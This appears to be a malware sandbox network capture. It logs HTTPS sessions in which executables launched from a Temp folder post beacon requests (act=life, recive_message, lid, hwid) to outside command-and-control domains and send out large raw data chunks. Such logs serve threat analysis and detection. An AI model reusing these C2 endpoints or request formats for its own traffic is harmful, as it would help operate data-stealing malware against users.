2024-12-17 21:06:48 UTC	15331	OUT	Data Raw: 55 ef f4 dc 9a 40 5c 20 15 cc ae f1 1e 37 36 13 b9 c8 bf 56 28 4b c5 61 0f 99 15 7a 6d b0 f5 2b a4 3d 59 bb 06 f2 de d8 78 80 8b a9 4c cf 69 4c f3 63 48 46 b1 68 3b d1 56 a3 22 2c 66 fc 27 dc f2 6f a1 c0 5b 5c 5e 1b 0e 0c 12 5d 47 1d 0e 7a 60 44 37 5e c9 e8 3e bf 66 60 b5 76 c1 a8 f2 a2 ab 91 ff d6 50 45 90 33 ec 2b ec b7 55 6e 30 4d 1f f9 77 01 03 69 39 23 4f ff bf d6 b0 10 31 42 85 e1 7f 11 fc 1b 21 5e a0 8e 5e f6 d3 48 02 92 5f b7 66 3d 14 e0 65 0a 66 28 2a 11 ce 4c 70 f6 a3 a0 ba ad 9e 74 68 20 3d 36 1c 07 93 52 12 92 c8 0f be 7b 69 83 9d 73 63 b5 09 94 47 28 4f e5 ea dc de eb 9e ab 8a 2f 96 50 3e 71 8f 98 9e 02 bd c8 e6 4e 01 d2 d9 72 58 59 b0 75 af cb fd 9d aa dc b5 d2 73 90 1f 4f 15 22 d9 64 50 d4 50 5d 66 69 78 70 69 39 dd df 55 07 e9 75 db 12 0b Data Ascii: U@\ 76V(Kazm+=YxLiLcHFh;V",f'o[\^]Gz`D7^>f`vPE3+Un0Mwi9#O1B!^^H_f=ef(*Lpth =6R{iscG(O/P>qNrXYusO"dPP]fixpi9Uu
2024-12-17 21:06:48 UTC	15331	OUT	Data Raw: 4c 71 f3 79 88 ab 9b bb 2e 91 b4 08 1a 09 ab 31 f1 cc 68 d5 55 61 f8 b4 97 65 4e 4c 6e e9 c6 8a b2 27 f1 32 a9 30 c2 b4 8e ea 89 e9 5c 14 a6 51 71 61 b7 84 9e ee cb fc a9 39 8a ad f7 21 68 19 09 0a 55 63 41 e8 7c e8 8e be f7 d6 35 5d 6f cc e3 ed de 97 a9 75 9a d5 19 f6 25 0e a4 31 6a b0 c3 47 53 bc d3 3e 58 a7 56 ef 4f d5 d3 58 93 b8 cc 51 fa 2e eb c5 b6 88 ed a8 56 7c c3 e0 8b 3d 32 60 be 33 b6 14 ce 75 4f 9c 4f 9c 6f 91 88 c8 61 17 a8 2a 1c 49 9a b8 50 bb 23 1a 05 aa f8 f4 08 aa 11 aa ff 74 5f b2 cb 6c f2 7d a1 61 7d 83 6b 0f 22 91 b2 ae 80 6b 0a dd 19 ff e9 86 bb 37 e6 7b af 7a 10 0e 1e 90 9a ba 72 cc 6a d1 30 fd 18 ab 7b ff ec 67 33 91 86 d8 fd c7 9b 8b 38 12 b4 01 ce aa c7 5d c9 4a ff 22 ff 19 68 da 54 c9 3f 4d 7c a5 78 f9 e3 c3 68 07 d7 d4 78 16 0c Data Ascii: Lqy.1hUaeNLn'20\Qqa9!hUcA\|5]ou%1jGS>XVOXQ.V\|=2`3uOOoa*IP#t_l}a}k"k7{zrj0{g38]J"hT?M\|xhx
2024-12-17 21:06:48 UTC	15331	OUT	Data Raw: 9c 22 66 9b 45 88 4d ff 34 33 55 87 18 f3 34 62 ff 71 01 a0 b7 16 ce 4e f6 12 5e 4d 43 27 f7 15 e2 82 5c df e1 7d 7c 52 8f 73 a0 c2 4b e7 19 4a f6 68 36 68 e1 7b 5c 19 a7 56 4d 90 a4 ab b1 4b 43 07 fb 49 9c f6 db 2e 2d 50 bd c9 f8 c6 95 35 42 cb 16 85 5e e9 f0 49 72 94 6c 52 02 ad ce b4 85 84 a5 1c 51 1a 6a e8 d3 6f 11 bb 67 ed 30 42 43 f5 08 4d 31 43 b1 33 f9 a3 e6 07 65 a1 69 94 bc db c6 ba ee d8 39 61 db d4 e8 a6 f5 c5 54 4f 98 3c a5 be 52 88 ce e5 9c ed 35 17 64 c3 d7 4c 0e d3 7c 85 28 b5 0a 10 dd 6d 16 d5 7a 26 67 b2 99 1d 6f 63 e1 1d 61 9a 89 67 c7 3b 0c ae 7a 5a cf fc 09 be 12 1b 2f a8 26 56 3c 53 87 96 ec 42 ef aa 7f d8 3a 4e b7 dc 96 2d 8a 57 73 fc 66 03 61 8a f0 ac c9 81 9b 43 7d 87 57 00 87 02 68 75 26 15 eb 01 89 21 15 1b 0e 62 11 45 01 04 58 Data Ascii: "fEM43U4bqN^MC'\}\|RsKJh6h{\VMKCI.-P5B^IrlRQjog0BCM1C3ei9aTO<R5dL\|(mz&gocag;zZ/&V<SB:N-WsfaC}Whu&!bEX
2024-12-17 21:06:48 UTC	15331	OUT	Data Raw: 57 3f 8b 79 5d 76 3f 91 26 23 47 a3 85 e3 ff 33 01 74 e6 cc 56 22 d0 48 ad a4 3d 2f 9e b8 dd 15 7a 06 02 27 05 7a 26 3d e3 86 03 53 03 d7 37 12 7f 26 b6 05 dd 1d 1e 79 2c 22 16 76 e4 32 18 eb 68 ef d7 e8 dd 03 1a fc 54 34 78 67 e9 9e 3c c1 b1 65 de eb ec 78 e9 ad 2d 50 d4 51 2d f5 2c 5c f1 86 96 50 ac bc d7 97 71 b7 73 69 d1 24 12 dd 06 a4 d0 32 ab 0b d5 fb 9f 36 b6 c9 5e 6c 0b 8d 1b 4a dd ff 75 75 bf 12 33 e1 41 04 f3 df 0d cf c9 d0 fa f9 99 96 f5 e2 47 6c ef 05 23 90 6f 71 b5 45 f2 fa 7f 43 31 4e 45 54 dc 45 7a 6f aa 63 99 81 db c9 af e0 c1 90 d7 ba 3c 4d 52 e9 f3 70 50 4c da d4 cf fd 11 96 99 97 0c 5a fa 96 36 52 25 7e 11 f0 f8 a2 cf 3b 92 e7 63 b9 8c f6 99 09 9f a3 f2 e7 a3 e0 da 6a 5b 32 b9 84 af d5 81 01 0e 11 bf cf d3 4c 0e 29 37 0f fd 75 00 a9 5d Data Ascii: W?y]v?&#G3tV"H=/z'z&=S7&y,"v2hT4xg<ex-PQ-,\Pqsi$26^lJuu3AGl#oqEC1NETEzoc<MRpPLZ6R%~;cj[2L)7u]
2024-12-17 21:06:48 UTC	15331	OUT	Data Raw: 48 75 16 26 e7 b5 a5 5e 34 1d 9c b6 f5 c4 7c db 75 c5 93 f7 a0 90 2c bf 25 8a fd e6 bb ed 9f bd 9b 13 ec fa d5 1e b3 2f f5 83 8f 31 9a c9 20 c5 86 48 37 c1 2e d8 f2 9b 1d e2 39 a1 82 5d 68 8e d7 52 54 e8 e6 06 e6 2d 7d 49 bb 17 74 89 09 df 1a 85 cb 1c b3 aa db 4e 52 51 01 ad 9c 2f f7 cc 97 4e e3 48 d5 62 a0 e1 23 83 ad 8c 8a a9 1b 54 42 9c c8 ca a1 27 5b ba 38 a6 92 07 b1 61 7e 30 35 9d a5 27 3b 18 72 a1 58 ae 2c 7e fa 1b fa 4a a1 8f 57 61 e9 4e 5f 7c 91 06 ff 7b c1 ba a9 83 f6 2d 69 d7 b0 63 83 ff 6f a2 73 1d 89 8f 35 e9 66 8a 9e e9 ff 0e 5f 33 01 e9 95 1d 57 ce d8 19 e1 9d 32 3f ed c9 3b dc cd 19 62 56 bd 5b b4 fa 31 46 93 10 ef 1a bb fe 9f 43 bf 97 7a 8f 7c 7f a4 85 a3 37 ee 3d f3 fe db c1 84 ba 8f 86 48 a4 40 95 bf 87 df 59 66 fa 5e 7c be 5b 59 8d d6 Data Ascii: Hu&^4\|u,%/1 H7.9]hRT-}ItNRQ/NHb#TB'[8a~05';rX,~JWaN_\|{-icos5f_3W2?;bV[1FCz\|7=H@Yf^\|[Y
2024-12-17 21:06:48 UTC	15331	OUT	Data Raw: f8 7a 23 40 f4 85 bf 15 96 07 29 12 de 71 74 40 4f 84 ab fd 78 8c 30 09 d8 90 51 15 6d f1 45 ec f1 26 78 d0 4f 22 9f 80 94 f0 03 b7 29 5a 30 15 70 7a c6 d9 87 11 c4 9f 6c 61 14 6d 59 e2 bf 22 7b 1d 47 ca ab 32 8e 76 67 c9 a8 31 24 7e a9 ac a7 a7 b1 6c d3 ec f0 9f df e2 33 50 2f 9c 48 2d 8a d2 0b 09 6a a8 72 34 b0 6b 4f 6d a2 cd 1f 2c 47 35 df f6 12 e8 28 a1 93 e7 8f b9 f4 d3 f6 88 1c 94 23 26 51 39 12 22 8b 11 d7 e7 4c cf 0b 75 69 ea aa 64 96 a2 96 4e 66 44 89 e0 2e 61 77 da 30 f2 6e 7b ee 83 66 cd a6 25 f3 6f 08 23 e0 db d8 25 01 94 07 f4 73 88 a2 60 51 07 79 60 7a b5 18 ed ec c5 67 b5 d2 38 97 5a 3d fe c0 98 f5 f4 e9 cb eb 73 e6 46 9d 95 23 cd 91 1b ba 19 8f f9 a9 30 78 cd f8 af dc fb 8c 99 e7 8f 93 02 2e 4f 9a 64 54 4e 5b a4 5a 32 7d e6 bf 8c c3 af b5 Data Ascii: z#@)qt@Ox0QmE&xO")Z0pzlamY"{G2vg1$~l3P/H-jr4kOm,G5(#&Q9"LuidNfD.aw0n{f%o#%s`Qy`zg8Z=sF#0x.OdTN[Z2}
2024-12-17 21:06:53 UTC	1040	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:06:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4vcpjtt93812n678f9h3khdkd3; expires=Sat, 12-Apr-2025 14:53:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8Wi2U5RwLqpifmYEe8EpBAgtiVLT7JB0RSbOa7QKRM%2BUoB3KXgPdLQ7op0pVfHrOWZ7aSR1whdgOI9FgJpuiCRtCJgGsGMZabN2tyAKAxKj7BbxMuEL3RATxqDbA34f3I4YvufYw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e1111ed842e7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1982&min_rtt=1672&rtt_var=1247&sent=329&recv=580&lost=0&retrans=0&sent_bytes=2848&recv_bytes=572946&delivery_rate=703275&cwnd=241&unsent_bytes=0&cid=8f69c1a837284ec2&ts=4712&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49882	172.67.209.202	443	7968	C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:06:55 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 81 Host: pancakedipyps.click
2024-12-17 21:06:55 UTC	81	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d 26 68 77 69 64 3d 41 39 42 30 31 34 36 31 44 32 32 33 39 32 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=FATE99--test&j=&hwid=A9B01461D2239248AC8923850305D13E
2024-12-17 21:06:56 UTC	1035	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:06:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qmbs3drsvdojml2nom8a75gqrb; expires=Sat, 12-Apr-2025 14:53:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GXT5TiLI4%2BGQgtGDNZgzL29sXnFq9uoZytQD6rPISWs2q6N21Rc6jGaJTbXAHFfiZ1nKmOnRiZNRW95M99QFfAVTr6B7haz1VoDDjhfr9U0DKeUXZcHYMswa9aywFoFrar93SsJZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e1393d074257-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=62967&min_rtt=1610&rtt_var=36937&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=984&delivery_rate=1813664&cwnd=215&unsent_bytes=0&cid=6511ccd87fadd451&ts=961&x=0"
2024-12-17 21:06:56 UTC	54	IN	Data Raw: 33 30 0d 0a 47 33 70 63 6d 46 51 39 2b 48 70 50 53 55 66 47 4f 6d 73 69 6f 6e 39 79 38 4e 4d 61 4c 51 39 62 71 72 49 7a 76 33 76 76 65 48 5a 41 4a 77 3d 3d 0d 0a Data Ascii: 30G3pcmFQ9+HpPSUfGOmsion9y8NMaLQ9bqrIzv3vveHZAJw==
2024-12-17 21:06:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49945	172.67.129.27	443	7416	C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:07:18 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sweepyribs.lat
2024-12-17 21:07:18 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-17 21:07:18 UTC	1051	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:07:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=opl4th0kum0vp5b98ivhbg02r4; expires=Sat, 12-Apr-2025 14:53:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4quqMtTS9iKKTADtIoQ%2BlG2hGY%2BJX5IHS%2FEX9%2B80GN%2B8ivobAiPTuxB%2FnF%2Bvy9J3FzXO%2FbFIbvRcy9V90uU5uElqyYQe%2BznsOvB1%2BGrRHV0wGIRJnaXUBLrqCsfwZCFcGQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e1c74c61180d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6073&min_rtt=1698&rtt_var=3401&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=905&delivery_rate=1719670&cwnd=201&unsent_bytes=0&cid=b29c60d18f9ff72e&ts=735&x=0"
2024-12-17 21:07:18 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-17 21:07:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49954	172.67.129.27	443	7416	C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:07:20 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sweepyribs.lat
2024-12-17 21:07:20 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--6989783370&j=
2024-12-17 21:07:21 UTC	1040	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:07:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1bicnjb1e5hcldvtifj4tbpld2; expires=Sat, 12-Apr-2025 14:53:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vqaneLf5WIHfQzpmRgoO47kInLJc%2FPlRb7Bs7Si9MPaLpGi8N%2FhanppCd%2FpWeXKfw3cTJwFJCVpe9scOK4LUI%2BLxrBeyGbljV5f%2BFl2e28Y9UF07EMVIAHjH0bGwWbxSIA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e1d45d25440c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1585&min_rtt=1585&rtt_var=792&sent=6&recv=8&lost=0&retrans=1&sent_bytes=4204&recv_bytes=950&delivery_rate=140953&cwnd=252&unsent_bytes=0&cid=3b8908976543b121&ts=1058&x=0"
2024-12-17 21:07:21 UTC	329	IN	Data Raw: 34 65 32 0d 0a 48 5a 4c 4d 43 5a 4d 70 49 71 72 78 2f 6c 67 44 31 37 43 35 56 74 35 35 4d 53 43 70 44 6e 67 56 4e 2b 38 71 74 4f 48 54 66 30 56 6d 73 4c 6f 72 71 52 30 4f 69 49 4b 62 65 6a 6d 6a 77 73 77 7a 38 6c 74 51 52 49 73 30 48 6e 52 62 6e 45 2b 59 77 36 55 53 5a 79 66 30 72 57 58 67 54 41 36 49 6c 49 5a 36 4f 59 7a 4c 6d 7a 4f 77 57 77 73 43 7a 47 51 61 64 46 75 4e 53 39 2b 4f 6f 78 4d 6d 64 66 36 72 59 66 5a 4b 52 73 75 64 6b 7a 31 6d 73 74 48 54 4f 4c 63 55 57 55 32 4c 49 6c 70 77 54 63 30 51 6c 71 79 32 43 79 52 51 38 37 39 69 73 56 51 4f 30 64 4f 62 4e 69 48 74 6b 74 67 7a 76 42 56 58 52 4d 4a 6d 45 48 31 54 6a 45 37 65 6b 62 6f 5a 4c 58 58 77 71 47 44 38 51 31 4c 47 6c 35 51 32 59 4c 6a 52 6d 33 72 38 48 45 73 43 6b 79 78 4a 52 56 61 63 57 63 Data Ascii: 4e2HZLMCZMpIqrx/lgD17C5Vt55MSCpDngVN+8qtOHTf0VmsLorqR0OiIKbejmjwswz8ltQRIs0HnRbnE+Yw6USZyf0rWXgTA6IlIZ6OYzLmzOwWwsCzGQadFuNS9+OoxMmdf6rYfZKRsudkz1mstHTOLcUWU2LIlpwTc0Qlqy2CyRQ879isVQO0dObNiHtktgzvBVXRMJmEH1TjE7ekboZLXXwqGD8Q1LGl5Q2YLjRm3r8HEsCkyxJRVacWc
2024-12-17 21:07:21 UTC	928	IN	Data Raw: 51 63 68 34 46 32 59 56 6b 67 62 50 77 37 59 52 5a 79 65 77 71 47 58 77 52 6b 44 61 6d 35 63 78 5a 4b 66 5a 30 6a 6d 78 47 31 35 49 78 47 38 61 63 46 2b 48 52 39 79 48 76 42 41 68 66 2f 44 75 4a 62 46 4d 57 49 6a 4c 33 42 6c 6b 70 64 58 58 49 76 34 68 45 31 32 46 64 56 70 77 57 63 30 51 6c 6f 75 30 48 69 52 30 2f 36 31 6a 2b 6c 6c 41 32 70 57 52 50 33 4f 7a 31 39 55 2b 76 77 6c 5a 54 4d 31 76 45 33 78 63 69 45 2f 53 77 2f 39 64 49 47 65 77 39 69 76 51 52 6b 76 45 6d 59 73 36 49 61 71 63 77 6e 53 37 46 78 4d 61 69 32 67 62 63 31 53 4a 52 74 69 48 76 52 73 70 63 76 2b 6f 59 66 46 4d 53 73 43 62 6e 54 64 71 75 74 4c 65 4f 62 67 64 58 30 50 4f 4c 46 51 33 55 70 55 49 6a 73 4f 66 47 69 52 74 73 70 74 6f 2f 30 56 48 33 74 4f 44 64 48 6a 31 31 64 64 30 35 46 74 Data Ascii: Qch4F2YVkgbPw7YRZyewqGXwRkDam5cxZKfZ0jmxG15IxG8acF+HR9yHvBAhf/DuJbFMWIjL3BlkpdXXIv4hE12FdVpwWc0Qlou0HiR0/61j+llA2pWRP3Oz19U+vwlZTM1vE3xciE/Sw/9dIGew9ivQRkvEmYs6IaqcwnS7FxMai2gbc1SJRtiHvRspcv+oYfFMSsCbnTdqutLeObgdX0POLFQ3UpUIjsOfGiRtspto/0VH3tODdHj11dd05Ft
2024-12-17 21:07:21 UTC	1369	IN	Data Raw: 34 34 33 61 0d 0a 51 79 59 62 6a 54 30 44 79 36 46 6c 68 4e 78 47 73 53 64 46 6d 49 52 64 58 44 2f 31 30 67 5a 37 44 32 4b 39 52 46 51 39 6d 43 33 67 39 69 75 39 7a 63 49 76 77 45 48 56 75 4c 61 78 59 33 44 63 31 43 30 59 53 31 45 43 31 38 39 4b 70 6d 2f 6b 4a 4a 77 59 47 57 4e 6d 2b 6e 33 39 45 78 73 68 64 57 54 63 74 74 47 33 6c 66 68 67 69 59 77 37 59 46 5a 79 65 77 67 57 62 68 57 55 72 44 67 74 34 50 59 72 76 63 33 43 4c 38 42 42 31 62 69 32 73 57 4e 77 33 4e 51 39 43 50 76 52 30 68 62 66 36 68 65 66 74 5a 52 4d 61 58 6b 44 52 6f 75 4e 33 65 4a 72 67 62 51 55 50 4f 61 78 52 36 52 34 67 49 6d 4d 4f 32 42 57 63 6e 73 4a 52 66 39 6c 74 52 7a 39 47 70 4f 57 2b 37 31 63 31 30 6f 31 56 4b 41 73 78 67 57 69 38 56 6a 6b 54 62 69 72 51 53 4e 58 58 38 72 33 6e Data Ascii: 443aQyYbjT0Dy6FlhNxGsSdFmIRdXD/10gZ7D2K9RFQ9mC3g9iu9zcIvwEHVuLaxY3Dc1C0YS1EC189Kpm/kJJwYGWNm+n39ExshdWTcttG3lfhgiYw7YFZyewgWbhWUrDgt4PYrvc3CL8BB1bi2sWNw3NQ9CPvR0hbf6heftZRMaXkDRouN3eJrgbQUPOaxR6R4gImMO2BWcnsJRf9ltRz9GpOW+71c10o1VKAsxgWi8VjkTbirQSNXX8r3n
2024-12-17 21:07:21 UTC	1369	IN	Data Raw: 70 65 57 50 32 57 35 32 4e 73 78 72 68 4e 56 52 63 64 6b 48 33 68 54 69 45 58 52 69 4c 49 50 4e 58 7a 30 6f 47 65 78 42 51 44 50 69 39 78 69 49 5a 44 46 32 43 53 36 47 42 4e 64 68 58 56 61 63 46 6e 4e 45 4a 61 44 76 78 45 73 65 50 75 6c 62 2f 56 4c 54 63 4f 64 6b 6a 4e 74 76 64 37 63 4a 72 45 65 57 30 6a 43 61 52 5a 36 56 70 39 4c 31 38 50 2f 58 53 42 6e 73 50 59 72 31 6e 68 33 36 39 4f 44 64 48 6a 31 31 64 64 30 35 46 74 53 53 73 78 69 48 6d 56 62 6e 30 62 52 67 37 63 56 4c 33 6a 38 6f 47 58 6a 51 30 48 49 6e 5a 4d 79 61 4c 48 54 33 7a 43 77 48 42 4d 4d 69 32 73 43 4e 77 33 4e 59 4e 57 5a 71 31 38 4a 64 50 43 70 65 2b 64 51 41 4e 66 64 68 58 70 6d 75 5a 4b 44 64 4c 67 51 57 55 76 49 5a 52 35 36 56 59 52 48 33 34 75 38 46 54 56 2b 2b 72 78 76 39 45 70 50 Data Ascii: peWP2W52NsxrhNVRcdkH3hTiEXRiLIPNXz0oGexBQDPi9xiIZDF2CS6GBNdhXVacFnNEJaDvxEsePulb/VLTcOdkjNtvd7cJrEeW0jCaRZ6Vp9L18P/XSBnsPYr1nh369ODdHj11dd05FtSSsxiHmVbn0bRg7cVL3j8oGXjQ0HInZMyaLHT3zCwHBMMi2sCNw3NYNWZq18JdPCpe+dQANfdhXpmuZKDdLgQWUvIZR56VYRH34u8FTV++rxv9EpP
2024-12-17 21:07:21 UTC	1369	IN	Data Raw: 4a 73 74 74 72 4a 4e 4c 45 62 51 56 44 4e 5a 78 51 33 47 38 31 50 7a 73 50 70 58 52 5a 6f 2b 2b 35 30 76 31 49 41 7a 35 2f 63 59 69 47 32 32 4e 59 36 72 68 39 56 53 63 68 69 45 6e 4a 64 69 55 4c 62 6a 4c 6f 58 4c 6e 66 77 6f 57 37 35 51 45 62 47 6b 70 6f 32 62 50 57 63 6d 7a 4f 6b 57 77 73 43 37 48 59 58 63 55 4b 63 66 64 47 44 34 46 30 34 4d 65 6e 75 62 50 30 4c 47 49 69 65 6b 44 42 73 73 4e 62 54 4d 37 38 61 58 30 62 47 59 52 35 2b 55 59 68 61 78 49 57 2f 48 53 68 78 2f 36 4a 35 2f 30 35 41 78 4e 50 53 65 6d 61 74 6b 6f 4e 30 6a 51 78 54 41 74 51 69 41 7a 64 53 67 51 69 4f 77 37 34 51 4e 58 50 2f 72 6d 72 79 54 30 76 50 6c 5a 6f 37 59 72 44 52 33 6a 4b 39 47 31 39 49 7a 47 51 51 65 56 69 4c 54 4e 43 46 38 56 4e 6e 65 4f 6a 75 4d 37 46 35 54 63 61 61 6e Data Ascii: JsttrJNLEbQVDNZxQ3G81PzsPpXRZo++50v1IAz5/cYiG22NY6rh9VSchiEnJdiULbjLoXLnfwoW75QEbGkpo2bPWcmzOkWwsC7HYXcUKcfdGD4F04MenubP0LGIiekDBssNbTM78aX0bGYR5+UYhaxIW/HShx/6J5/05AxNPSematkoN0jQxTAtQiAzdSgQiOw74QNXP/rmryT0vPlZo7YrDR3jK9G19IzGQQeViLTNCF8VNneOjuM7F5Tcaan
2024-12-17 21:07:21 UTC	1369	IN	Data Raw: 56 30 7a 75 34 47 31 77 43 68 53 77 64 62 78 58 56 43 50 61 49 70 7a 77 70 64 4f 4c 75 64 4c 39 53 41 4d 2b 66 33 47 49 68 75 39 76 61 50 4c 49 58 57 30 62 5a 62 42 46 2b 57 6f 78 48 31 6f 43 77 46 79 39 74 39 71 35 67 2b 55 78 49 7a 4a 32 4f 4f 32 37 31 6e 4a 73 7a 70 46 73 4c 41 76 70 36 48 58 42 61 7a 32 48 52 6d 4c 41 58 4a 48 54 38 37 6e 53 2f 55 67 44 50 6e 39 78 69 49 62 6a 65 31 6a 43 75 46 31 4e 43 77 6d 73 51 5a 56 71 43 52 64 57 44 74 41 38 6d 62 66 2b 6c 62 76 4a 50 54 38 65 66 6c 44 41 68 2b 35 4c 63 4c 50 78 44 45 32 37 49 66 52 41 31 63 70 64 65 30 59 2b 67 46 69 70 7a 73 4c 45 6c 36 41 74 48 78 4e 50 45 65 6d 47 30 33 38 6b 78 76 52 46 5a 54 38 4e 6a 48 33 4a 61 69 55 7a 64 6a 61 4d 54 4b 48 2f 32 70 57 72 30 53 45 76 43 6e 5a 55 6f 49 66 Data Ascii: V0zu4G1wChSwdbxXVCPaIpzwpdOLudL9SAM+f3GIhu9vaPLIXW0bZbBF+WoxH1oCwFy9t9q5g+UxIzJ2OO271nJszpFsLAvp6HXBaz2HRmLAXJHT87nS/UgDPn9xiIbje1jCuF1NCwmsQZVqCRdWDtA8mbf+lbvJPT8eflDAh+5LcLPxDE27IfRA1cpde0Y+gFipzsLEl6AtHxNPEemG038kxvRFZT8NjH3JaiUzdjaMTKH/2pWr0SEvCnZUoIf
2024-12-17 21:07:21 UTC	1369	IN	Data Raw: 76 78 35 57 53 4d 64 67 47 33 39 63 68 30 33 54 68 62 73 65 4b 58 44 78 6f 6d 2f 34 52 55 6d 49 33 64 77 39 65 66 57 4b 6d 77 4b 73 48 45 74 50 32 79 34 6f 64 45 53 63 58 64 75 54 74 31 38 49 66 50 79 74 62 76 5a 62 41 4e 66 64 68 58 70 6d 75 5a 4b 44 64 4c 77 66 58 30 48 4d 59 68 56 36 57 6f 70 44 32 59 6d 2f 44 79 68 36 2b 4b 4a 6a 2f 46 6c 4b 77 6f 47 56 4d 32 79 37 32 73 6b 33 2f 46 55 54 52 64 4d 73 51 6a 64 6e 68 30 76 61 6c 62 77 53 5a 32 43 2b 74 79 76 32 52 77 43 51 30 34 34 6f 59 62 37 53 33 44 71 75 47 6c 74 4e 77 57 77 63 66 46 2b 4f 51 64 4b 4e 75 42 73 6d 63 76 47 76 61 2f 52 4c 53 64 71 65 33 48 51 68 73 73 71 62 62 50 77 73 58 30 6e 36 62 77 77 33 53 73 4e 52 6c 6f 53 39 58 58 38 2f 38 62 78 6d 2b 55 39 41 78 5a 57 58 4f 32 43 32 30 74 73 Data Ascii: vx5WSMdgG39ch03ThbseKXDxom/4RUmI3dw9efWKmwKsHEtP2y4odEScXduTt18IfPytbvZbANfdhXpmuZKDdLwfX0HMYhV6WopD2Ym/Dyh6+KJj/FlKwoGVM2y72sk3/FUTRdMsQjdnh0valbwSZ2C+tyv2RwCQ044oYb7S3DquGltNwWwcfF+OQdKNuBsmcvGva/RLSdqe3HQhssqbbPwsX0n6bww3SsNRloS9XX8/8bxm+U9AxZWXO2C20ts
